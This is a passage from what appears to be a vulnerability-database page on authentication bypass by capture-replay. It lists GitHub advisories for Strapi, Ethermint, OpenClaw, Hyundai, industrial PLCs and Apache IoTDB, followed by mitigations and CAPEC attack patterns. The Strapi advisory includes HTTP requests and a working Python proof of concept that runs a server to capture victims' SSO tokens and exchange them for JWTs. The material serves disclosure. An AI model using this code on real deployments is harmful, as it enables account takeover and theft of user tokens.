token.\n\n\u003e Everything is invisible to the victim.\n\n![c6](https://github.com/strapi/strapi/assets/30262080/58db0a31-3b3b-4648-958b-953eba88bf87)\n\nBecause the victim didn\u0027t change to another Web page.\n\n![c7](https://github.com/strapi/strapi/assets/30262080/ab4dd6f9-02e1-42c9-9142-434db865f0d3)\n\nThe attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.\n\n![c8](https://github.com/strapi/strapi/assets/30262080/aab8d22f-5f0e-4a67-85a8-2e333df9b84b)\n\n##### Details\n\n###### Get the JWT token with the `access_token`\n\nFirst of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.\n\nRequest (HTTP):\n\n```http\nGET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV\u003cREDACTED\u003eyBzA HTTP/1.1\nHost: \u003cTARGET\u003e\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Mon, 27 Nov 2023 17:58:46 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 411\nConnection: keep-alive\nContent-Security-Policy: connect-src \u0027self\u0027 https:;img-src \u0027self\u0027 data: blob: https://market-assets.strapi.io;media-src \u0027self\u0027 data: blob:;default-src \u0027self\u0027;base-uri \u0027self\u0027;font-src \u0027self\u0027 https: data:;form-action \u0027self\u0027;frame-ancestors \u0027self\u0027;object-src \u0027none\u0027;script-src \u0027self\u0027;script-src-attr \u0027none\u0027;style-src \u0027self\u0027 https: \u0027unsafe-inline\u0027\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \u003cREDACTED\u003e\n\n{\"jwt\":\"eyJhbG\u003cREDACTED\u003eeCac\",\"user\":{\"id\":111,\"username\":\"\u003cREDACTED\u003e@\u003cREDACTED\u003e-ext.com\",\"email\":\"\u003credacted\u003e@\u003credacted\u003e-ext.com\",\"provider\":\"microsoft\",\"confirmed\":true,\"blocked\":false,\"createdAt\":\"2023-11-14T12:35:42.440Z\",\"updatedAt\":\"2023-11-16T21:00:19.241Z\",\"is_external\":false}}\n```\n\n###### Request API routes using the JWT token\n\nThen reuse the JWT token to request the API.\n\nRequest (HTTP):\n\n```http\nGET /api/users/me/groups?app=support HTTP/1.1\nHost: \u003cTARGET\u003e\nAuthorization: Bearer eyJ\u003cREDACTED\u003eEeCac\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Tue, 28 Nov 2023 13:45:42 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 24684\nConnection: keep-alive\nContent-Security-Policy: connect-src \u0027self\u0027 https:;img-src \u0027self\u0027 data: blob: https://market-assets.strapi.io;media-src \u0027self\u0027 data: blob:;default-src \u0027self\u0027;base-uri \u0027self\u0027;font-src \u0027self\u0027 https: data:;form-action \u0027self\u0027;frame-ancestors \u0027self\u0027;object-src \u0027none\u0027;script-src \u0027self\u0027;script-src-attr \u0027none\u0027;style-src \u0027self\u0027 https: \u0027unsafe-inline\u0027\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-RateLimit-Limit: 10\nX-RateLimit-Remaining: 9\nX-RateLimit-Reset: 1701179203\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \u003cREDACTED\u003e\n\n{\"apps\":{\"support\":{\"groups\":[{\"device_whitelist\":null,\"name\":\"test - support\",\"id\":10,\"group_privileges\":[{\"id\":37,\u003cREDACTED\u003e\n\n...\n```\n\n### POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)\n\n```python\nimport base64\nimport json\nimport urllib.parse\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom sys import argv\n\n\n# Strapi URL.\nTARGET = \"target.com\"\n\n# URLs to which victims are automatically redirected.\nREDIRECT_URL = [\n    \"strapi.io\",\n    \"www.google.fr\"\n]\n# URL used to generate a valid JWT token for authentication within the\n# application.\nGEN_JWT_URL = f\"https://{TARGET}/api/auth/microsoft/callback\"\n\n\n# This function is used to generate a curl command which once executed, will\n# give us a valid JWT connection token.\ndef generate_curl_command(token):\n    command = f\"curl \u0027{GEN_JWT_URL}?access_token={token}\u0027\"\n    return command\n\n\n# We create a custom HTTP server to retrieve users\u0027 SSO tokens.\nclass CustomServer(BaseHTTPRequestHandler):\n\n    # Here we override the default logging function to reduce verbosity.\n    def log_message(self, format, *args):\n        pass\n\n    # This function automatically redirects a user to the page defined in the\n    # global variable linked to the redirection.\n    def _set_response(self):\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_URL[0])\n        self.end_headers()\n\n    # If an SSO token is present, we parse it and log the result in STDOUT.\n    def do_GET(self):\n        # This condition checks whether a token is present in the URL.\n        if str(self.path).find(\"access_token\") != -1:\n            # If this is the case, we recover the token.\n            query = urllib.parse.urlparse(self.path).query\n            query_components = dict(qc.split(\"=\") for qc in query.split(\"\u0026\"))\n            access_token = urllib.parse.unquote(query_components[\"access_token\"])\n\n            # In the token, which is a string in JWT format, we retrieve the\n            # body part of the token.\n            interesting_data = access_token.split(\".\")[1]\n\n            # Patching base64 encoded data.\n            interesting_data = interesting_data + \"=\" * (-len(interesting_data) % 4)\n\n            # Parsing JSON.\n            json_data = json.loads(base64.b64decode(interesting_data.encode()))\n            family_name, given_name, ipaddr, upn = json_data[\"given_name\"], json_data[\"family_name\"], json_data[\"ipaddr\"], json_data[\"upn\"]\n\n            print(f\"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\\n{access_token}\\n\")\n            print(f\"[*] Run: \\\"{generate_curl_command(query_components[\u0027access_token\u0027])}\\\" to get JWT token\")\n\n        self._set_response()\n        self.wfile.write(\"Redirecting ...\".encode(\"utf-8\"))\n\n\ndef run(server_class=HTTPServer, handler_class=CustomServer, ip=\"0.0.0.0\", port=8080):\n    server_address = (ip, port)\n    httpd = server_class(server_address, handler_class)\n\n    print(f\"Starting httpd ({ip}:{port}) ...\")\n    try:\n        httpd.serve_forever()\n    except KeyboardInterrupt:\n        pass\n\n    httpd.server_close()\n    print(\"Stopping httpd ...\")\n\n\nif __name__ == \"__main__\":\n    if len(argv) == 3:\n        run(ip=argv[1], port=int(argv[2]))\n    else:\n        run()\n```\n",
  "id": "GHSA-wrvh-rcmr-9qfc",
  "modified": "2024-06-12T19:39:11Z",
  "published": "2024-06-12T19:39:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-wrvh-rcmr-9qfc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/9c79921d22142a5de77ea26151550a14e4b12669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass"
}

GHSA-X5F3-QMWJ-4F84

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-10-02 11:32
VLAI
Summary
Authentication bypass by capture-replay in github.com/cosmos/ethermint
Details

Cosmos Network Ethermint <= v0.4.0 is affected by a cross-chain transaction replay vulnerability in the EVM module. Since ethermint uses the same chainIDEpoch and signature schemes with ethereum for compatibility, a verified signature in ethereum is still valid in ethermint with the same msg content and chainIDEpoch, which enables "cross-chain transaction replay" attack.

Specific Go Packages Affected

github.com/cosmos/ethermint/rpc/namespaces/eth

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cosmos/ethermint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294",
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-12T21:11:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Cosmos Network Ethermint \u003c= v0.4.0 is affected by a cross-chain transaction replay vulnerability in the EVM module. Since ethermint uses the same chainIDEpoch and signature schemes with ethereum for compatibility, a verified signature in ethereum is still valid in ethermint with the same msg content and chainIDEpoch, which enables \"cross-chain transaction replay\" attack.\n\n### Specific Go Packages Affected\ngithub.com/cosmos/ethermint/rpc/namespaces/eth",
  "id": "GHSA-x5f3-qmwj-4f84",
  "modified": "2023-10-02T11:32:33Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/ethermint/issues/687"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/ethermint/pull/692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosmos/ethermint/releases/tag/v0.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authentication bypass by capture-replay in github.com/cosmos/ethermint"
}

GHSA-X8R2-VV6H-F3G5

Vulnerability from github – Published: 2023-07-06 15:30 – Updated: 2024-04-04 05:26
VLAI
Details

Vulnerability of identity verification being bypassed in the storage module. Successful exploitation of this vulnerability may affect service confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-48507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-06T13:15:10Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability of identity verification being bypassed in the storage module. Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-x8r2-vv6h-f3g5",
  "modified": "2024-04-04T05:26:00Z",
  "published": "2023-07-06T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48507"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/7"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202307-0000001587168858"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XH72-V6V9-MWHC

Vulnerability from github – Published: 2026-04-17 22:32 – Updated: 2026-05-12 13:35
VLAI
Summary
OpenClaw: Feishu webhook and card-action validation now fail closed
Details

Summary

Feishu webhook mode accepted missing encryptKey configuration as valid and blank card-action callback tokens as usable lifecycle tokens. Together, those fail-open paths could allow unauthenticated webhook or card-action traffic to reach command dispatch in affected deployments.

Impact

A deployment using Feishu webhook mode without a configured encryptKey, or handling malformed card-action callbacks with blank callback tokens, could fail open instead of rejecting the request. Severity remains critical because affected webhook deployments expose a network-triggered path into OpenClaw command handling without the expected Feishu signature or replay protection.

Affected versions

  • Affected: < 2026.4.15
  • Patched: 2026.4.15

Fix

OpenClaw 2026.4.15 makes Feishu webhook and card-action validation fail closed. Webhook mode now refuses to start without an encryptKey, missing signing configuration returns invalid instead of valid, invalid signatures return 401, and blank card-action callback tokens are rejected before dispatch.

Verified in v2026.4.15:

  • extensions/feishu/src/monitor.transport.ts returns invalid when encryptKey is missing, refuses webhook mode without encryptKey, and rejects invalid signatures before JSON handling.
  • extensions/feishu/src/card-action.ts rejects blank callback tokens in the card-action lifecycle guard.
  • extensions/feishu/src/monitor.webhook-security.test.ts covers missing-encryptKey startup and transport rejection.
  • extensions/feishu/src/monitor.card-action.lifecycle.test.ts covers malformed blank-token card actions being dropped before handler dispatch.

Fix commit included in v2026.4.15 and absent from v2026.4.14:

  • c8003f1b33ed2924be5f62131bd28742c5a41aae via PR #66707

Thanks to @dhyabi2 for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-294"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T22:32:47Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nFeishu webhook mode accepted missing `encryptKey` configuration as valid and blank card-action callback tokens as usable lifecycle tokens. Together, those fail-open paths could allow unauthenticated webhook or card-action traffic to reach command dispatch in affected deployments.\n\n## Impact\n\nA deployment using Feishu webhook mode without a configured `encryptKey`, or handling malformed card-action callbacks with blank callback tokens, could fail open instead of rejecting the request. Severity remains critical because affected webhook deployments expose a network-triggered path into OpenClaw command handling without the expected Feishu signature or replay protection.\n\n## Affected versions\n\n- Affected: `\u003c 2026.4.15`\n- Patched: `2026.4.15`\n\n## Fix\n\nOpenClaw `2026.4.15` makes Feishu webhook and card-action validation fail closed. Webhook mode now refuses to start without an `encryptKey`, missing signing configuration returns invalid instead of valid, invalid signatures return `401`, and blank card-action callback tokens are rejected before dispatch.\n\nVerified in `v2026.4.15`:\n\n- `extensions/feishu/src/monitor.transport.ts` returns invalid when `encryptKey` is missing, refuses webhook mode without `encryptKey`, and rejects invalid signatures before JSON handling.\n- `extensions/feishu/src/card-action.ts` rejects blank callback tokens in the card-action lifecycle guard.\n- `extensions/feishu/src/monitor.webhook-security.test.ts` covers missing-`encryptKey` startup and transport rejection.\n- `extensions/feishu/src/monitor.card-action.lifecycle.test.ts` covers malformed blank-token card actions being dropped before handler dispatch.\n\nFix commit included in `v2026.4.15` and absent from `v2026.4.14`:\n\n- `c8003f1b33ed2924be5f62131bd28742c5a41aae` via PR #66707\n\nThanks to @dhyabi2 for reporting this issue.",
  "id": "GHSA-xh72-v6v9-mwhc",
  "modified": "2026-05-12T13:35:35Z",
  "published": "2026-04-17T22:32:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xh72-v6v9-mwhc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/66707"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c8003f1b33ed2924be5f62131bd28742c5a41aae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-authentication-bypass-in-feishu-webhook-and-card-action-validation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Feishu webhook and card-action validation now fail closed"
}

GHSA-XMHW-Q7R6-C72H

Vulnerability from github – Published: 2023-09-03 15:30 – Updated: 2024-04-04 07:22
VLAI
Details

A Hyundai model (2017) - CWE-294: Authentication Bypass by Capture-replay.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-03T15:15:14Z",
    "severity": "MODERATE"
  },
  "details": "\n\u00a0A Hyundai model (2017) - CWE-294: Authentication Bypass by Capture-replay.\n\n\n",
  "id": "GHSA-xmhw-q7r6-c72h",
  "modified": "2024-04-04T07:22:49Z",
  "published": "2023-09-03T15:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39373"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XP8H-GC5H-WMFF

Vulnerability from github – Published: 2026-01-12 15:30 – Updated: 2026-01-13 21:31
VLAI
Details

D3D Wi-Fi Home Security System ZX-G12 v2.1.17 is susceptible to RF jamming on the 433 MHz alarm sensor channel. An attacker within RF range can transmit continuous interference to block sensor transmissions, resulting in missed alarms and loss of security monitoring. The device lacks jamming detection or mitigations, creating a denial-of-service condition that may lead to undetected intrusions or failure to trigger safety alerts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-65553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-12T15:16:03Z",
    "severity": "MODERATE"
  },
  "details": "D3D Wi-Fi Home Security System ZX-G12 v2.1.17 is susceptible to RF jamming on the 433 MHz alarm sensor channel. An attacker within RF range can transmit continuous interference to block sensor transmissions, resulting in missed alarms and loss of security monitoring. The device lacks jamming detection or mitigations, creating a denial-of-service condition that may lead to undetected intrusions or failure to trigger safety alerts.",
  "id": "GHSA-xp8h-gc5h-wmff",
  "modified": "2026-01-13T21:31:42Z",
  "published": "2026-01-12T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65553"
    },
    {
      "type": "WEB",
      "url": "https://d3dsecurity.com/products/wifi-home-security-system-model-g12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EmbdCDACHyd/CVE/tree/main/CVE-2025-65553"
    },
    {
      "type": "WEB",
      "url": "http://d3d.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQWW-5C9G-V62Q

Vulnerability from github – Published: 2024-09-13 18:31 – Updated: 2024-09-13 18:31
VLAI
Details

The session hijacking attack targets the application layer's control mechanism, which manages authenticated sessions between a host PC and a PLC. During such sessions, a session key is utilized to maintain security. However, if an attacker captures this session key, they can inject traffic into an ongoing authenticated session. To successfully achieve this, the attacker also needs to spoof both the IP address and MAC address of the originating host which is typical of a session-based attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-13T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "The session hijacking attack targets the application layer\u0027s control mechanism, which manages authenticated sessions between a host PC and a PLC. During such sessions, a session key is utilized to maintain security. However, if an attacker captures this session key, they can inject traffic into an ongoing authenticated session. To successfully achieve this, the attacker also needs to spoof both the IP address and MAC address of the originating host which is typical of a session-based attack.",
  "id": "GHSA-xqww-5c9g-v62q",
  "modified": "2024-09-13T18:31:47Z",
  "published": "2024-09-13T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43099"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-256-17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XVMG-MF7X-G2HX

Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2026-05-29 15:30
VLAI
Details

An Information Management Error vulnerability exists in Schneider Electric's Modicon M221 product (all references, all versions prior to firmware V1.6.2.0). The vulnerability allows unauthorized users to replay authentication sequences. If an attacker exploits this vulnerability and connects to a Modicon M221, the attacker can upload the original program from the PLC.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-7790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-29T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An Information Management Error vulnerability exists in Schneider Electric\u0027s Modicon M221 product (all references, all versions prior to firmware V1.6.2.0). The vulnerability allows unauthorized users to replay authentication sequences. If an attacker exploits this vulnerability and connects to a Modicon M221, the attacker can upload the original program from the PLC.",
  "id": "GHSA-xvmg-mf7x-g2hx",
  "modified": "2026-05-29T15:30:21Z",
  "published": "2022-05-13T01:04:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7790"
    },
    {
      "type": "WEB",
      "url": "https://www.schneider-electric.com/en/download/document/SEVD-2018-235-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105182"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XWQH-5V9Q-G7V9

Vulnerability from github – Published: 2026-07-10 09:31 – Updated: 2026-07-10 18:32
VLAI
Details

Insufficient Session Expiration, Authentication Bypass by Capture-replay vulnerability in Apache IoTDB. REST Basic Authentication Accepts Stale Cached Credentials

This issue affects Apache IoTDB: from 1.0.0 before 2.0.10.

Users are recommended to upgrade to version 2.0.10, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T08:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "Insufficient Session Expiration, Authentication Bypass by Capture-replay vulnerability in Apache IoTDB.\nREST Basic Authentication Accepts Stale Cached Credentials\n\n\nThis issue affects Apache IoTDB: from 1.0.0 before 2.0.10.\n\nUsers are recommended to upgrade to version 2.0.10, which fixes the issue.",
  "id": "GHSA-xwqh-5v9q-g7v9",
  "modified": "2026-07-10T18:32:13Z",
  "published": "2026-07-10T09:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28564"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/l38wpy7flvvfwv4rkps87l5z8gprnfy0"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/10/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Mitigation
Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

CAPEC-102: Session Sidejacking

Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.

CAPEC-509: Kerberoasting

Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.

CAPEC-555: Remote Services with Stolen Credentials

This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.

CAPEC-561: Windows Admin Shares with Stolen Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-644: Use of Captured Hashes (Pass The Hash)

An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.

CAPEC-645: Use of Captured Tickets (Pass The Ticket)

An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.

CAPEC-652: Use of Known Kerberos Credentials

An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.